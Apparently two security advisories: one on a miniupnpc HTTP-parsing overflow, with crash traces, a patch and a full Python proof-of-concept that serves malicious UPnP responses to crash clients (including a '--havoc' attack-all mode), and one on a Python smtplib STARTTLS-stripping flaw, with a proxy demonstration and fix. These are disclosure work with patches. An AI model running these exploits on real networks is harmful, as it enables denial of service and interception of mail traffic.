Starting program: /usr/bin/eth -v 9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
cpp-ethereum, a C++ Ethereum client
... 05:57:56 PM.351|eth Reading /home/...
â§ â
¹ 05:57:56 PM.358|eth Id: ##013a7f1fâ¦
[New Thread 0x7fffe6191700 (LWP 9306)]
... 05:57:56 PM.371|eth Opened blockchain DB. Latest: #5203fef2⦠(rebuild not needed)
[New Thread 0x7fffe5990700 (LWP 9307)]
... 05:57:56 PM.374|eth Opened state DB.
[New Thread 0x7fffe4e2a700 (LWP 9308)]
â§« â 05:57:56 PM.375|eth startedWorking()
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956)
[New Thread 0x7fffd7fff700 (LWP 9309)]
[New Thread 0x7fffd77fe700 (LWP 9310)]
â
¹ 05:58:00 PM.757|p2p UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd7fff700 (LWP 9309)]
0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb)
#0 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1 0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16
#2 0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16
#3 0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16
#4 0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so
#5 0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so
#6 0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so
#7 0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so
#8 0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so
#9 0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6
#10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0
#11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6
```
#### C) bitcoind 0.13.2 (windows)
```c
#> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole
Bitcoin version v0.13.2
...
mapBlockIndex.size() = 1
nBestHeight = 0
setKeyPool.size() = 100
mapWallet.size() = 0
mapAddressBook.size() = 1
init message: Loading addresses...
torcontrol thread start
Loaded 0 addresses from peers.dat 1ms
init message: Loading banlist...
init message: Starting network threads...
upnp thread start
init message: Done loading
opencon thread start
addcon thread start
dnsseed thread start
msghand thread start
net thread start
Loading addresses from DNS seeds (could take a while)
132 addresses found from DNS seeds
dnsseed thread exit
receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1
Pre-allocating up to position 0x100000 in rev00000.dat
...
<crash:upnp thread crashing with access violation>
//#! missing symbols - stacktrace not really useful.
(5fdc.5d34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for bitcoind.exe -
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
0:016> !analyze -v -f
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000008db0000
Attempt to read from address 0000000008db0000
CONTEXT: 0000000000000000 -- (.cxr 0x0;r)
rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738
rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472
rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa
r8=0000000008387c80 r9=0000000094967295 r10=0000000000000000
r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa
r14=00000000000005b4 r15=0000000000000556
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
FAULTING_THREAD: 0000000000005d34
PROCESS_NAME: bitcoind.exe
ERROR_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: 0000000008db0000
READ_ADDRESS: 0000000008db0000
FOLLOWUP_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
APPLICATION_VERIFIER_FLAGS: 0
APP: bitcoind.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER: from 00000000016160f0 to 0000000001615f1f
STACK_TEXT:
00000000`08dad3e0 00000000`016160f0 : 00000000`00000754 00000000`00000754 00000000`00000000 00000000`0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f
00000000`08dadcd0 00000000`01616467 : 00000000`00000010 00007ffc`6a207185 00000000`00000000 00000000`00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620
00000000`08dae580 00000000`01612e97 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997
00000000`08dae650 00000000`0124a8fa : 00000000`08239840 00007ffc`a255cfb6 00000000`15040011 00000000`00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7
00000000`08dae740 00000000`0165252a : 00000000`00000000 00000000`08230000 00000000`00000002 00000000`08daf980 : bitcoind+0x7a8fa
00000000`08daf830 00000000`014567c5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a
00000000`08daf940 00007ffc`a05cb2ba : 00000000`081abb90 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5
00000000`08dafb50 00007ffc`a05cb38c : 00007ffc`a0620670 00000000`08237230 00000000`00000000 00000000`00000000 : msvcrt!beginthreadex+0x12a
00000000`08dafb80 00007ffc`a0d28364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msvcrt!endthreadex+0xac
00000000`08dafbb0 00007ffc`a25870d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000000`08dafbe0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
STACK_COMMAND: .cxr 0x0 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: bitcoind!secp256k1_ecdsa_recover+1ea44f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: bitcoind
IMAGE_NAME: bitcoind.exe
FAILURE_BUCKET_ID: STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
```
#### D) bitcoind 0.14.1 (linux)
```python
#> src\bitcoind -upnp -printtoconsole
pwndbg> bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36
#1 0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#2 0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#3 0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#4 0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#5 0x000055555560ee0b in ThreadMapPort () at net.cpp:1446
#6 0x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218
#7 0x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313
#8 0x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20
#9 0x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117
#10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0
#11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309
#12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
```
Mitigation / Workaround / Discussion
-------------------------------------
* update to miniupnpc-2.0.20170509.tar.gz
* disable upnp
* or apply the following patch (also see provided patch1.diff, patch2.diff)
```diff
--- a/miniupnpc/miniwget.c
+++ b/miniupnpc/miniwget.c
@@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code)
goto end_of_stream;
}
}
- bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
+ bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
if((content_buf_used + bytestocopy) > content_buf_len)
{
char * tmp;
- if(content_length >= (int)(content_buf_used + bytestocopy)) {
+ if((unsigned int)content_length >= (content_buf_used + bytestocopy)) {
content_buf_len = content_length;
} else {
content_buf_len = content_buf_used + bytestocopy;
@@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code)
{
/* not chunked */
if(content_length > 0
- && (int)(content_buf_used + n) > content_length) {
+ && (content_buf_used + n) > (unsigned int)content_length) {
/* skipping additional bytes */
n = content_length - content_buf_used;
}
if(content_buf_used + n > content_buf_len)
{
char * tmp;
- if(content_length >= (int)(content_buf_used + n)) {
+ if((unsigned int)content_length >= (content_buf_used + n)) {
content_buf_len = content_length;
} else {
content_buf_len = content_buf_used + n;
@@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code)
}
}
/* use the Content-Length header value if available */
- if(content_length > 0 && (int)content_buf_used >= content_length)
+ if(content_length > 0 && content_buf_used >= (unsigned int)content_length)
{
#ifdef DEBUG
printf("End of HTTP content\n");
```
Notes
-----
* Vendor acknowledgement / Miniupnp Changelog [5]
* Thanks to the miniupnp project for providing a fixed version within ~1 week!
* This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you!
References
----------
[1] http://miniupnp.free.fr/
[2] http://miniupnp.free.fr/files/
[3] https://github.com/miniupnp/miniupnp/tree/master
[4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236
[5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz
[6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229
Contact
-------
https://github.com/tintinweb
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
#
# gdb --args ./upnpc-static -u http://192.168.2.110:5200/xxxx.xml -d -s <- segfault
#
import socket
import struct
import logging
import threading
__version__ = 0.3
logger = logging.getLogger(__name__)
SCENARIO_CRASH_LARGE_MEMCPY = 1 # crash in memcpy with access violation READ (large memcpy)
SCENARIO_CRASH_REALLOC_NULLPTR = 2 # miniupnpc <= v1.8 did not catch realloc errors
SCENARIO_CRASH_1_BYTE_BUFFER = 3 # crash in memcpy overwriting heap (more likely crashing in read)
SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # default
class HttpLikeMessage(object):
"""
Builds and parses HTTP like message structures.
"""
linebrk = '\r\n'
def __init__(self, raw):
self.raw = raw
self.header = self.request = self.method = self.path = self.protocol = self.body = None
self.parse_fuzzy_http(raw)
def startswith(self, other):
return self.raw.startswith(other)
def parse_fuzzy_http(self, data):
data = data.replace('\r', '')
try:
head, self.body = data.split("\n\n", 1)
except ValueError:
# no body
self.body = ''
head = data
try:
head_items = head.strip().split('\n')
self.request = head_items.pop(0)
self.method, self.path, self.protocol = self.request.split(" ")
self.header = {}
for k, v in (line.strip().split(':', 1) for line in head_items if head.strip()):
self.header[k.strip()] = v.strip()
except Exception, e:
logger.exception(e)
e.msg = data
raise e
def serialize(self):
lines = [self.request, ]
lines += ['%s: %s' % (k, v) for k, v in self.header.iteritems()]
return self.linebrk.join(lines) + self.linebrk * 2 + self.body
def __str__(self):
return self.serialize()
def __repr__(self):
return "<%s msg=%r header=%r body=%r>" % (self.__class__.__name__,
(self.method, self.path, self.protocol),
self.header,
self.body)
class UPnPListener(object):
def __init__(self, group="239.255.255.250", port=1900):
self.group, self.port = group, port
self.callbacks = {}
# multicast socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
logger.debug("[SSDP] bind: 0.0.0.0:%s" % port)
sock.bind(('0.0.0.0', port))
mreq = struct.pack("=4sl", socket.inet_aton(group), socket.INADDR_ANY)
logger.debug("[SSDP] add membership: UDP/%s" % group)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
self.listening = False
self.sock = sock
self.devices = {}
# Start listening
def listen(self):
self.listening = True
# Hint: this should be on a thread ;)
logger.debug("[SSDP] listening...")
while self.listening:
try:
# Grab a large wad of data
data, peer = self.sock.recvfrom(10240)
data = data.decode("utf-8")
msg = HttpLikeMessage(data)
# msg = HttpLikeMessage(self.sock.recv(10240).decode('utf-8'))
logger.debug("[<-----] %r" % msg)
# execute callback if available
cb = self.callbacks.get(msg.method, None)
cb and cb(self, msg, peer)
except Exception, e:
logger.exception(e)
# Register the uuid to a name -- as an example ... I put a handler here ;)
def register_device(self, name="", uuid=""):
logger.debug("%s; %s" % (name, uuid))
if name == "" or uuid == "":
logger.error("[SSDP] Error registering device, check your name and uuid")
return
# Store uuid to name for quick search
self.devices[uuid] = name
def register_callback(self, name, f):
logger.debug("[SSDP] add callback for %r : %r" % (name, f))
self.callbacks[name] = f
class BadHttpServer(threading.Thread):
def __init__(self, bind, filter=None):
threading.Thread.__init__(self)
self.bind = bind
self.filter = filter
def __repr__(self):
return "<%s bind=%s>" % (self.__class__.__name__,
repr(self.bind))
def run(self, ):
self.listen(filter=self.filter)
def listen(self, filter=None):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
logger.info("[HTTP] bind %s:%d"%self.bind)
sock.bind(self.bind)
# Listen for incoming connections
sock.listen(1)
while True:
# Wait for a connection
logger.info("[HTTP] waiting for connection")
connection, client_address = sock.accept()
try:
if filter and client_address[0] not in filter:
raise Exception("[HTTP] wait for different client: %s!=%s" % (client_address[0], filter))
logger.info("[ ] connection from: %s" % repr(client_address))
chunks = []
# TODO refactor crappy code
while True:
data = connection.recv(1024 * 8)
if not data:
break
chunks.append(data)
if data.endswith("\r\n\r\n"):
break
logger.debug(data)
self.handle_request(client_address, connection, HttpLikeMessage(''.join(chunks)))
except Exception, e:
logger.warning(repr(e))
finally:
# Clean up the connection
connection.close()
def send(self, client, connection, chunks):
"""
:param client:
:param chunks:
:param connection:
:return:
"""
template = """HTTP/1.1 200 OK
Content-Type: text/html
"""
ans = HttpLikeMessage(template)
if len(chunks) == 1:
length, data = chunks[0]
ans.header["Content-Length"] = length or len(data)
ans.body = data
else:
ans.header["Transfer-Encoding"] = "chunked"
body = []
for chunk in chunks:
length, data = chunk
body.append("%x%s%s%s" % (length or len(data), ans.linebrk, data, ans.linebrk))
body.append("0")
ans.body = ''.join(body)
if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
ans.header["Content-Length"] = len(ans.body)
elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
# memcpy 0x80000000+x bytes to a buffer of 1 byte size.
ans.header["Content-Length"] = 1 # forces a realloc of 1 byte
else:
# realloc with 0x7fffffff, memcpy n=chunk_size:0x80000000+x - crashes if realloc fails
ans.header["Content-Length"] = 0x7fffffff # forces a realloc of x bytes
connection.sendall(str(ans))
logger.debug(str(ans))
logger.warning("[----->] BOOM! payload delivered! - [to:%r] %r" % (client, ans))
def handle_request(self, client, connection, msg):
if False and "AddPortMapping" not in str(msg):
chunks = [(None, "<>")]
else:
if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
chunks = [(None, "<xml>BOOM</xml>"), (0x80000000, "A" * 9000), (None, "bye")]
elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
chunks = [(None, "<xml>BOOM</xml>"), (0x80000000 - 1 + 15, "A" * 9000), (None, "bye")]
else:
chunks = [(None, "<xml>BOOM</xml>"), (0x80000000-1+15, "A" * 9000), (None, "bye")]
self.send(client, connection, chunks)
def main():
#from optparse import OptionParser
import argparse
global SELECT_SCENARIO
SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # crash with a large memcpy
# SELECT_SCENARIO = SCENARIO_CRASH_REALLOC_NULLPTR # crash with a memcpy to nullptr due to realloc error (miniupnpc v1.8)
# SELECT_SCENARIO = SCENARIO_CRASH_1_BYTE_BUFFER
logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
loglevel=logging.DEBUG)
logger.setLevel(logging.DEBUG)
usage = """poc.py [options]
example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]
"""
#parser = OptionParser(usage=usage)
parser = argparse.ArgumentParser(usage=usage)
parser.add_argument("-q", "--quiet",
action="store_false", dest="verbose", default=True,
help="be quiet [default: False]")
parser.add_argument("-l", "--listen", dest="listen",
help="local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used "
"in the SSDP response Location header.")
parser.add_argument("-u", "--usn",
dest="usn", default="uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice",
help="Unique Service Name. ")
parser.add_argument("-t", "--target", dest="target",
default=[], nargs='*',
help="Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients.")
parser.add_argument("-z", "--havoc",
action="store_true", dest="havoc", default=False,
help="Attempt to attack all clients connecting to our http server. Use at your own risk.")
options= parser.parse_args()
if not options.verbose:
logger.setLevel(logging.INFO)
if not options.havoc and not options.target:
parser.error("No target specified. Use --havoc to attack all devices or --target <ip> to attack specific ips.")
if options.havoc:
options.target = None
if not options.listen :
parser.error("missing mandatory option --listen <ip>:<port>")
options.listen = options.listen.strip().split(":")
options.listen = (options.listen[0], int(options.listen[1]))
if "0.0.0.0" in options.listen[0]:
parser.error("0.0.0.0 not allowed for --listen")
logger.info("""
_ _ _____ _____ _____ _____
/ |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___
/ // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_|
|_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___
//github.com/tintinweb
[mode ] %s
[listen] %s (local http server listening ip)
[usn ] %s
"""%("⚡ havoc (targeting any incoming client)" if options.havoc else " filter (targeting %r)"%options.target,
"%s:%d"%options.listen,
options.usn))
webserver = BadHttpServer(options.listen, options.target)
logger.debug("spawning webserver: %r" % webserver)
webserver.start()
def handle_msearch(upnp, msg, peer):
# logger.info("MSEARCH! - %r" % msg)
# build answer
# template = """NOTIFY * HTTP/1.1
template = """HTTP/1.1 200 OK
USN: <overridden>
NTS: ssdp:alive
SERVER: <overridden>
HOST: 239.255.255.250:1900
LOCATION: <overridden>
CACHE-CONTROL: max-age=60
NT: upnp:rootdevice"""
ans = HttpLikeMessage(template)
ans.header["USN"] = options.usn + msg.header["ST"]
ans.header["SERVER"] = "UPnP Killer/%s" % __version__
ans.header["LOCATION"] = "http://%s:%d/xxxx.xml" % webserver.bind
ans.header["ST"] = msg.header["ST"]
ans.header["EXT"] = ""
logger.debug("[----->] sending answer: %s" % repr(ans))
# upnp.sock.sendto(str(ans), (upnp.group, upnp.port))
upnp.sock.sendto(str(ans), peer)
def handle_notify(upnp, msg, peer):
# logger.info("NOTIFY! %r" % msg)
pass
upnp = UPnPListener()
upnp.register_callback("M-SEARCH", handle_msearch)
upnp.register_callback("NOTIFY", handle_notify)
upnp.listen()
logger.info("--end--")
if __name__ == "__main__":
main()
VuNote
============
Author: <github.com/tintinweb>
Version: 0.2
Date: Nov 25th, 2015
Tag: python smtplib starttls stripping (mitm)
Overview
--------
Name: python
Vendor: python software foundation
References: * https://www.python.org/ [1]
Version: 2.7.11, 3.4.4, 3.5.1
Latest Version: 2.7.11, 3.4.4, 3.5.1 [2]
Other Versions: 2.2 [3] (~14 years ago) <= affected <= 2.7.11
3.0 [3] (~7 years ago) <= affected <= 3.4.4
3.5.1
Platform(s): cross
Technology: c/python
Vuln Classes: Selection of Less-Secure Algorithm During Negotiation (CWE-757)
Origin: remote/mitm
Min. Privs.: -
CVE: CVE-2016-0772
Description
---------
quote wikipedia [4]
>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.
Summary
-------
python smtplib does not seem to raise an exception when the remote
end (smtp server) is capable of negotiating starttls (as seen in the
response to ehlo) but fails to respond with 220 (ok) to an explicit
call of `SMTP.starttls()`. This may allow a malicious mitm to perform a
starttls stripping attack if the client code does not explicitly check
the response code for starttls, which is rarely done as one might
expect that it raises an exception when starttls negotiation fails
(like when calling starttls on a server that does not support it or
when it fails to negotiate tls due to an ssl exception/cipher
mismatch/auth fail).
Quoting the PSRT with an extended analysis
> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.
Checking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`
PoC see [6]
patch attached.
Details
------
The vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and
fails to raise an exception if `resp!=220`.
The documentation [7] suggests that `starttls()` either encrypts all communication
or throws an exception if it was not able to negotiate tls.
SMTP.starttls([keyfile[, certfile]])
Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.
If keyfile and certfile are provided, these are passed to the socket module�s ssl() function.
If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.
Changed in version 2.6.
SMTPHeloError
The server didn�t reply properly to the HELO greeting.
SMTPException
The server does not support the STARTTLS extension.
Changed in version 2.6.
RuntimeError
SSL/TLS support is not available to your Python interpreter.
Code `lib/smtplib.py`:
Inline annotations are prefixed with `//#!`
def starttls(self, keyfile=None, certfile=None):
"""Puts the connection to the SMTP server into TLS mode.
If there has been no previous EHLO or HELO command this session, this
method tries ESMTP EHLO first.
If the server supports TLS, this will encrypt the rest of the SMTP
session. If you provide the keyfile and certfile parameters,
the identity of the SMTP server and client can be checked. This,
however, depends on whether the socket module really checks the
certificates.
This method may raise the following exceptions:
SMTPHeloError The server didn't reply properly to
the helo greeting.
"""
self.ehlo_or_helo_if_needed()
if not self.has_extn("starttls"):
raise SMTPException("STARTTLS extension not supported by server.")
(resp, reply) = self.docmd("STARTTLS")
if resp == 220: //#! with a server not responding 220 it wont even try to negotiate tls
if not _have_ssl: //#! silently stays unencrypted
raise RuntimeError("No SSL support included in this Python")
self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)
self.file = SSLFakeFile(self.sock)
# RFC 3207:
# The client MUST discard any knowledge obtained from
# the server, such as the list of SMTP service extensions,
# which was not obtained from the TLS negotiation itself.
self.helo_resp = None
self.ehlo_resp = None
self.esmtp_features = {}
self.does_esmtp = 0
return (resp, reply) //#! to actually detect this a client would have to manually check resp==220
//#! or that the socket was turned into an SSLSock object
Proof of Concept
----------------
1. start `striptls.py` proxy
#> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode
- INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.
- DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>
- INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>
2. send mail using `smtplib` (starttls)
import smtplib
server = smtplib.SMTP('localhost', port=9999)
server.set_debuglevel(1)
server.ehlo()
print server.esmtp_features
server.starttls()
server.sendmail("a@b.com", "b@a.com", "From: a@b.com\r\nTo: b@a.com\r\n\r\n")
server.quit()
3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.
- DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected
- INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\r\n250-SIZE 3 1457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0x1f0ea50> terminated.
Patch
-------
* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.
#https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -773,6 +773,11 @@ class SMTP:
self.ehlo_resp = None
self.esmtp_features = {}
self.does_esmtp = 0
+ else:
+ # RFC 3207:
+ # 501 Syntax error (no parameters allowed)
+ # 454 TLS not available due to temporary reason
+ raise SMTPResponseException(resp, reply)
return (resp, reply)
def sendmail(self, from_addr, to_addrs, msg, mail_options=[],
Notes
-----
Vendor response: see [8,9,10]
Timeline:
11/25/2015 contact psrt; provided details, PoC, proposed patch
12/01/2016 response, initial analysis
01/29/2016 request ETA, bugref
02/01/2016 psrt assigned CVE-2016-0772
02/12/2016 response: will be addressed in upcoming 2.7, 3.5
02/13/2016 request ETA; response: no exact date
03/29/2016 request ETA; response: generic bounce message
05/12/2016 request ETA; no response
05/27/2016 request ETA; response: no exact date
